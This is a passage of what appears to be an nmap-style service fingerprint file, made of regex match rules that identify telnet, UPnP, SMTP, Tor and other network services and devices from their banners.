standalone=\"yes\"\?>.*Xtreme N GIGABIT Router(DIR-655) \w+([^<]+)|s p/D-Link $1 soap/ v/$2/ d/WAP/ cpe:/h:dlink:$1/ match soap m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml; charset=utf-8\r\nConnection: close\r\nContent-Length: \d+\r\n\r\n<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>.*(SMC\w+)\nV([\w._-]+)|s p/SMC $1 Barricade WAP soap/ v/$2/ d/WAP/ cpe:/h:smc:$1:$2/ match soap m|^HTTP/1\.1 \d\d\d .*\r\nServer: gSOAP\r\n| p/gSOAP/ cpe:/a:genivia:gsoap/ match smtp m|^220 ([\w._-]+)\r\n500 5\.5\.1 Unrecognized command\r\n| p/SoftStack Free SMTP Server/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/ match smtp m|^220[ -]([\w._-]+) ESMTP\r.*\n521 5\.7\.0 Error: I can break rules, too\. Goodbye\.\r\n|s p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a # spamd 2.20-1woody match spamassassin m|^SPAMD/1\.0 76 Bad header line: GET / HTTP/1\.0\r\r?\n| p/SpamAssassin spamd/ cpe:/a:apache:spamassassin/ # TLS 1.0 Alert (0x21), Fatal (0x02), Unexpected message (0x0a) match ssl m|^\x15\x03\x01\0\x02\x02\x0a$| p/TLS/ v/1.0/ match http m|^HTTP/1\.1 405 Method Not Allowed\r\nDate:0000-01-01T18:54:43\r\nContent-Type: application/soap\+xml; charset=\"utf-8\"\r\n\r\n$| p/Samsung CLX-3175FW printer SOAP over HTTP/ d/printer/ cpe:/h:samsung:clx-3175fw/a match speech m|^ER\nLP\n#\nft_StUfF_keyOK\nER\n$| p/Festival Speech Synthesis System/ match sphinx-search m|^\x01\0\0\0\0\x01\0\0\0\0\0 \0\0\0\x1cunknown command \(code=\d+\)| p/Sphinx Search daemon/ # No idea if this is general enough match sopcast m|^HTTP/1\.0 200 OK\r\n\r\n0&\xb2u\x8ef\xcf\x11\xa6\xd9\0| p/SopCast P2P/ match syncplay-json m|^\{"Error": \{"message": "Not a json encoded string GET / HTTP/1\.0"\}\}\r\n| p/Syncplay JSON server/ cpe:/a:syncplay:syncplay/ match tcpmux m|^-Service not available\r\n$| match telnet m|^\xff\xfb\x01\xff\xfe\"\n\r\tNetDSL Copyright by ARESCOM 2003\n\r\n\r\n\rUsername:GET / HTTP/1\.0\r\n\n\rPassword:\r\n\n\rUsername:| p/ARESCOM NetDSL 1000 router/ d/router/ match telnet m|^\xff\xfb\x03\xff\xfb\x01\xff\xfbi\r\n\tWelcome to Magicunix's TCP Server\.\r\n\r\n\r\nLogin: P/1\.0\r\nPassword: \r\nLogin incorrect\r\nLogin: | p/MagicUnix telnetd/ match telnet m|^\xff\xfb\x03\xff\xfb\x01\r\n\r\n\x07HP ([\w+]+) AdvanceStack 10BT Switching Hub Management Module\r\n| p/HP $1 switch telnetd/ d/switch/ cpe:/h:hp:$1/a match telnet m|^\xff\xfb\x01\r\n-> GET / HTTP/1\.0\r\nGET / HTTP/1\.0\r\nundefined symbol: GET\r\n-> \r\n-> | p/Konica Minolta Magicolor 2300 DL printer telnetd/ d/printer/ match telnet m|^\xff\xfe\x01Login to server\. \r\nUsername: ET / HTTP/1\.0\r\nPassword: \r\nLogin to server\. \r\nUsername:| p/EFCMService telnetd/ o/Windows/ cpe:/o:microsoft:windows/a match telnet m|^\xff\xfc\"\xff\xfb\x03\xff\xfb\x01\r\n\r\nWelcome to C A N O P Y CMM Micro\.\r\n\r\nPress Enter to Continue\.\.\.\r\n\r\nLogin: \r\nPassword: | p/Motorola Canopy cluster management module telnetd/ o/eCos/ cpe:/o:ecos:ecos/ match telnet m|^\xff\xfb\x01\xff\xfb\x03telnet@CER(\w+)>GET / HTTP/1\.0\r\nInvalid input -> GET / HTTP/1\.0\r\nType \? for a list\r\n| p/NetIron CER $1 switch telnetd/ d/switch/ match telnet m|^BAD_COMMAND\n| p/Lotus Domino Console/ cpe:/a:ibm:lotus_domino/ match telnet m|^\xff\xfb\x01\xff\xfb\x03$| p/Pocket CMD telnetd/ match telnet m|^\xff\xfe\x01\r\n\r\n\+============================================================================\+\r\n\x7c \[ Rack Monitor Configuration Utility Main Menu \] \x7c\r\n\+============================================================================\+\r\n\r\nEnter Password: | p/Eaton Powerware Environmental Rack Monitor telnetd/ d/power-misc/ match telnet m|^\xff\xfb\x01\r\nMGI Login: GET / HTTP/1\.0\r\n\r\nPassword: \r\nLogin incorrect\r\n\r\nMGI Login: | p/Samsung PBX telnetd/ d/PBX/ match telnet m|^\xff\xfb\0\*\*\*\*\*\*\*\*\*\*\*\*\*\*\r\n\r\nD-Link Access Point login: | p/D-Link DWL-3200AP WAP telnetd/ d/WAP/ cpe:/h:dlink:dwl-3200ap/ match telnet m|^\r\n\xff\xfb\x01\xff\xfb\x03\r\nUser:GET / HTTP/1\.0\r\nPassword:\r\nUser:| p/Dell OpenManage telnetd/ cpe:/a:dell:openmanage_baseboard_management_controller_utilities/ match telnet m|^\n\rError 0xf802: Command not recognized\.\r\n| p/Quatech Airborne CLI server/ d/bridge/ match telnet m|^Please enter password:\r\nPassword incorrect, please enter password:\r\nPassword incorrect, please enter password:\r\n| p/7 Days to Die game Telnet config/ cpe:/a:the_fun_pimps:7_days_to_die/ # Probably BusyBox match telnet m|^\xff\xfd\x01\xff\xfd\x1f\xff\xfb\x01\xff\xfb\x03\r\r\nGET / HTTP/1\.0\r\n\r\nSICUNET login: | p/Sicunet access control system telnetd/ d/security-misc/ # https://www.reddit.com/r/telnet/comments/4i3w20/found_vizio_m55c3_telnet_access/ match textui m|^cannot find method GET\n\n$| p/Vizio television textui/ d/media device/ # The Onion Router match tor-socks m|^HTTP/1\.0 501 Tor is not an HTTP Proxy\r\n| p/Tor SOCKS proxy/ cpe:/a:torproject:tor/ match tor-info m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Content-Encoding: identity\r\n.*signed-directory\npublished .*\nrecommended-software|s p/Tor nodes info httpd/ cpe:/a:torproject:tor/ match tor-info m|^HTTP/1\.0 503 Directory busy, try again later\r\n\r\n$| p/Tor nodes info httpd/ cpe:/a:torproject:tor/ match tor-info m|^HTTP/1\.0 404 Not found\r\nDate: \w\w\w, \d\d? \w\w\w \d\d\d\d \d\d:\d\d:\d\d GMT\r\n\r\n$| p/Tor nodes info httpd/ cpe:/a:torproject:tor/ softmatch uptime-agent m|ERR - Command 'GET' not found\n$| p/Idera Uptime Infrastructure Monitor/ cpe:/a:idera:uptime_infrastructure_monitor/ match utsessiond m|^ERR/InvalidCommand\n$| p/Sun Ray utsessiond/ cpe:/a:sun:ray_server_software/ match utsvc m|^protocolErrorInf error=Missing\\040hw\\040string\\040from\\040:\\040null\.\\040Check\\040hardware state=disconnected\n| p/Sun Ray utsvcd/ cpe:/a:sun:ray_server_software/ match utsvc m|^protocolErrorInf error=invalid\\040command\\040or\\040parameter state=disconnected\n| p/Sun Ray utsvcd/ cpe:/a:sun:ray_server_software/ match upnp m|^HTTP/1\.1 403 Forbidden\r\n.*SERVER: LG-BDP DLNADOC/([\w._-]+)\r\n| p/LG BP730 Blu-ray player upnp/ i/DLNADOC $1/ d/media device/ cpe:/h:lg:bp730/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: (UPnP/[\d.]+ DLNADOC/[\d.]+) Platinum/([\d.]+)\r\n\r\n|s p/Platinum UPnP/ v/$2/ i/$1/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux-amd64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Linux $1; UPnP $2/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Linux $1; UPnP $2/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_XP-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows XP $1; UPnP $2/ d/media device/ o/Windows XP/ cpe:/o:microsoft:windows_xp:$1/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_Vista-x86-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows Vista $1; UPnP $2/ d/media device/ o/Windows Vista/ cpe:/o:microsoft:windows_vista:$1::x32/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_Vista-x86_64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows Vista $1; UPnP $2/ d/media device/ o/Windows Vista/ cpe:/o:microsoft:windows_vista:$1::x64/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_7-x86-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows 7 $1; UPnP $2/ d/media device/ o/Windows 7/ cpe:/o:microsoft:windows_7:$1::x32/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Windows_7-x86_64-([\w._-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Windows 7 $1; UPnP $2/ d/media device/ o/Windows 7/ cpe:/o:microsoft:windows_7:$1::x64/ match upnp m|^HTTP/1\.[01] 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Mac_OS_X-x86_64-([\w_.-]+), UPnP/([\d.]+), PMS/(.*?)\r\n|s p/PS3 Media Server UPnP/ v/$3/ i/Mac OS X $1; UPnP $2/ d/media device/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match upnp m|^HTTP/1\.0 200 (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/ReadyNAS\r\n|s p/FUPPES UPnP media server/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/([^\r\n]+)\r\n|s p/FUPPES UPnP media server/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: FreeBSD/([\w_.-]+), UPnP/([\w_.-]+), Free UPnP Entertainment Service/([^\r\n]+)\r\n|s p/FUPPES UPnP media server/ v/$3/ i/FreeBSD $1; UPnP $2/ o/FreeBSD/ cpe:/o:freebsd:freebsd:$1/ match upnp m|^HTTP/1\.1 500 Internal Server Error\r\nSERVER: ipOS/([\d.]+) UPnP/([\d.]+) ipUPnP/([\d.]+)\r\n| p/ipOS upnpd/ i/D-Link WAP dynamic DNS; UPnP $2; ipUPnP $3/ d/WAP/ o/ipOS $1/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.1 400 Bad Request\r\nSERVER: ipOS/([\d.]+) UPnP/([\d.]+) ipGENADevice/([\d.]+)\r\n| p/ipOS upnpd/ i/D-Link DGL-4300 gaming router; UPnP $2; ipGENADevice $3/ d/broadband router/ o/ipOS $1/ cpe:/h:d-link:dgl-4300/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) +UPnP/([\d.]+) (?:ADSL2\+ (?:Modem )?Router )?(T[DL]-\w+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/TP-LINK $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:tp-link:$3/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) +UPnP/([\d.]+) (RNX-\w+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/Rosewill $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:rosewill:$3/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ipos/([\w._-]+) UPnP/([\d.]+) Archer[ _]([^/]+)/([\w._/-]+)\r\n| p/ipOS upnpd/ i/TP-Link Archer $3 WAP $4; UPnP $2/ d/WAP/ o/ipOS $1/ cpe:/h:tp-link:a$3/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux/([\w._+-]+), UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux, UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$2/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux/([\w._+-]+) UPnP/([\d.]+) DLNADOC/([\d.]+) Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/Linux $1; DLNADOC $3; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Linux/([\w._+-]+) DLNADOC/([\d.]+) UPnP/([\d.]+) MiniDLNA/([\w._-]+)\r\n|s p/MiniDLNA/ v/$4/ i/Linux $1; DLNADOC $2; UPnP $3/ o/Linux/ cpe:/a:minidlna:minidlna:$4/a cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nSERVER: ([\w._-]+\.7601) 2/Service Pack (\d+), UPnP/([\w._-]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/UPnP $3/ o/Windows 7 SP$2 build $1/ cpe:/o:microsoft:windows_7/a match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ([56]\.[\d. ]+)/, UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$3/ i/Windows $1; UPnP $2/ o/Windows/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: ([56]\.[\d. ]+)/Service Pack (\d+), UPnP/([\d.]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Portable SDK for UPnP devices/ v/$4/ i/Windows $1 (SP$2); UPnP $3/ o/Windows/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([-+\w_.]+), UPnP/([\d.]+), Intel SDK for UPnP devices ?/([\w._~-]+)\r\n|s p/Intel UPnP reference SDK/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([-+\w_.]+) UPnP/([\d.]+) DLNADOC/([\w._-]+) Intel_SDK_for_UPnP_devices/([\w._~-]+)\r\n|s p/Intel UPnP reference SDK/ v/$4/ i/Linux $1; UPnP $2; DLNADOC $3/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux, UPnP/([\d.]+), Intel SDK for UPnP devices ?/([\w._~-]+)\r\n| p/Intel UPnP reference SDK/ v/$2/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Darwin/([\w._+-]+), UPnP/([\w._-]+), Portable SDK for UPnP devices/([\w._~-]+)\r\n| p/Intel UPnP reference SDK/ v/$3/ i/Mac OS X $1; UPnP $2/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Windows2000/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/Philips Intel UPnP SDK/ v/$2/ i/Philips Smart TV; UPnP $1; DLNADOC $3/ d/media device/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux([\d.]+)/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/Philips Intel UPnP SDK/ v/$3/ i/Philips Smart TV; UPnP $2; DLNADOC $4/ d/media device/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Windows2000/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) \r\n| p/Philips Intel UPnP SDK/ v/$2/ i/Philips Smart TV; UPnP $1/ d/media device/ match upnp m|^HTTP/1\.[01] \d\d\d .*\r\nSERVER: Linux([\d.]+)/0\.0 UPnP/([\w._+-]+) PhilipsIntelSDK/([\w._-]+) \r\n| p/Philips Intel UPnP SDK/ v/$3/ i/Philips Smart TV; UPnP $2/ d/media device/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.[01] \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?CONTENT-TYPE: text/xml\r\nContent-Length: .*Xbox 360.*(\w+)|s p/Xbox 360 XML UPnP/ i/Serial number $1/ d/game console/ o/Xbox 360/ cpe:/h:microsoft:xbox_360_kernel/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nDate: .*\r\nConnection: close\r\nServer: Microsoft-Windows-NT/(\d[-.\w]+) UPnP/(\d[-.\w]+) UPnP-Device-Host/(\d[-.\w]+)\r\n| p/Microsoft Windows UPnP/ v/$2/ i/UPnP Device Host: $3/ o/Windows NT $1/ cpe:/o:microsoft:windows_nt:$1/ match upnp m=^HTTP/1\.1 200 .*\r\nSERVER: Linux/((2\.[46]\.\d+|\d\.\d+)\S*), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n=s p/MediaTomb UPnP/ v/$4/ i/Linux $1; UPnP $3/ o/Linux/ cpe:/o:linux:linux_kernel:$2/ match upnp m|^HTTP/1\.1 200 (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Darwin/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/Darwin $1; UPnP $2/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: FreeBSD/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/FreeBSD $1; UPnP $2/ o/FreeBSD/ cpe:/o:freebsd:freebsd:$1/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: OpenBSD/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/OpenBSD $1; UPnP $2/ o/OpenBSD/ cpe:/o:openbsd:openbsd:$1/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: SunOS/([\w._-]+), UPnP/([\d.]+), MediaTomb/([\w._-]+)\r\n|s p/MediaTomb UPnP/ v/$3/ i/SunOS $1; UPnP $2/ o/Solaris/ cpe:/o:sun:sunos:$1/ #TODO make sure the * version doesn't come after \r\n match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ cpe:/a:packetvideo:twonky/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ cpe:/a:packetvideo:twonky/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/([\w._-]+), UPnP/([\w._-]+), TwonkyVision UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux $1; UPnP $2; SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; Twonky SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ match upnp m=^HTTP/1\.1 \d\d\d .*Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n.*(?:TwonkyMedia|TwonkyMedia server media browser|TwonkyVision Configuration)=s p/TwonkyMedia UPnP/ i/Linux $1; UPnP $2; pvConnect SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n.*MediaServer Restriced Access|s p/TwonkyMedia UPnP/ i/Iomega Home Media NAS device; Linux $1; UPnP $2; pvConnect SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X.X; UPnP $1; pvConnect SDK $2; SDK $3/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Digest realm=\"([\w._-]+)\", nonce=\"\w+\", algorigthm=MD5, qop=\"auth\" \n.*Server: *Linux/2\.x\.x, UPnP/([\d.]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux; UPnP $2; pvConnect SDK $3; SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X.X; UPnP $1; pvConnect SDK $2/ o/Linux/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Windows NT/[\w._-]+, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), TwonkyMedia UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/UPnP $1; pvConnect SDK $2; SDK $3/ o/Windows NT/ cpe:/a:packetvideo:twonky/ cpe:/o:microsoft:windows_nt/ match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"([\w._-]+)\"\n.*Server: *Linux/2\.x\.x, UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+), Twonky UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux 2.X; UPnP $2; pvConnect SDK $3; SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 401 Unauthorised\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"([\w._-]+)\"\n.*Server: *Linux/([\w._-]+), UPnP/([\w._-]+), pvConnect UPnP SDK/([\w._-]+)\r\n|s p/TwonkyMedia UPnP/ i/Linux $2; UPnP $3; pvConnect SDK $4/ o/Linux/ h/$1/ cpe:/a:packetvideo:twonky/ cpe:/o:linux:linux_kernel:$2/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nContent-Type: text/xml; charset=\"UTF-8\"\r\nServer: Orb Media Server, WINDOWS, UPnP/([\w._-]+), Intel MicroStack/([\w._-]+)\r\n| p/Orb Media Server UPnP/ i/UPnP $1; Intel MicroStack $2/ o/Windows/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.1 200 OK\r\nCONTENT-TYPE: text/xml;charset="utf-8"\r\nServer: WINDOWS, UPnP/([\d.]+), Intel MicroStack/([\w._-]+)\r\n| p/Intel MicroStack upnpd/ v/$2/ i/UPnP $1/ o/Windows/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: OpenWRT/kamikaze UPnP/([\w._-]+) miniupnpd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/OpenWrt Kamikaze; UPnP $1/ d/broadband router/ o/Linux/ cpe:/a:miniupnp_project:miniupnpd:$2/a cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: neufbox UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/Neuf Box router; UPnP $1/ d/router/ cpe:/a:miniupnp_project:miniupnpd:$2/a match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: DrayTek/Vigor(\w+) UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$3/ i/DrayTek Vigor $1 router; UPnP $2/ d/router/ cpe:/a:miniupnp_project:miniupnpd:$3/a cpe:/h:draytek:vigor_$1/a match upnp m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: OpenWRT/OpenWrt UPnP/([\w._-]+) MiniUPnPd/([\w._-]+)\r\n|s p/MiniUPnP/ v/$2/ i/OpenWrt; UPnP $1/ d/broadband router/ cpe:/a:miniupnp_project:miniupnpd:$2/a match upnp m|^HTTP/1\.1 200 OK\r\nServer: Roku UPnP/([\d.]+) MiniUPnPd/([\d.]+)\r\n| p/MiniUPnP/ v/$2/ i/Roku; UPnP $1/ d/media device/ cpe:/a:miniupnp_project:miniupnpd:$2/a match upnp m|^HTTP/1\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Linux,([\w._-]+),UPnP/([\w._-]+),Coherence UPnP framework,([\w._-]+)\r\n|s p/Coherence UPnP framework/ v/$3/ i/Linux $1; UPnP $2/ o/Linux/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.[01] 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: Netgem/([\d.]+) \(NeufboxTV UPnPServer\)\r\n|s p/Netgem UPnP/ v/$1/ i/Neuf Box TV/ d/media device/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: WINDOWS, UPnP/([\d.]+), Intel MicroStack/([\d.]+)\r\n.*(DMS-[\d.]+).*([\w._-]+): MediaServer.*Wistron.*WiDMS|s p/Intel MicroStack UPnP/ v/$2/ i/Wistron Digital Media Server $3; UPnP $1/ o/Windows/ h/$4/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.1 40[04] .*\r\nServer: Linux, UPnP/([\d.]+), (DIR-[\w+]+) Ver ([\w._-]+)\r\n| p/D-Link $2 WAP UPnP/ v/$3/ i/UPnP $1/ d/WAP/ o/Linux/ cpe:/h:d-link:$2/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: FAST Router (\w+) Router, UPnP/([\w.]+)\r\n| p/FAST $1 router UPnP $2/ d/router/ match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([\w._-]+) UPnP/([\w._-]+) myigd/([\w._-]+)\r\n|s p/myigd/ v/$3/ i/Linksys WAG354G router; Linux $1; UPnP $2/ d/WAP/ o/Linux/ cpe:/h:linksys:wag354g/a cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: Linux/([\w._-]+), UPnP/([\w._-]+), Everest/([\w._-]+)\r\n|s p/Everest/ v/$3/ i/Pelco Spectra Mini IP 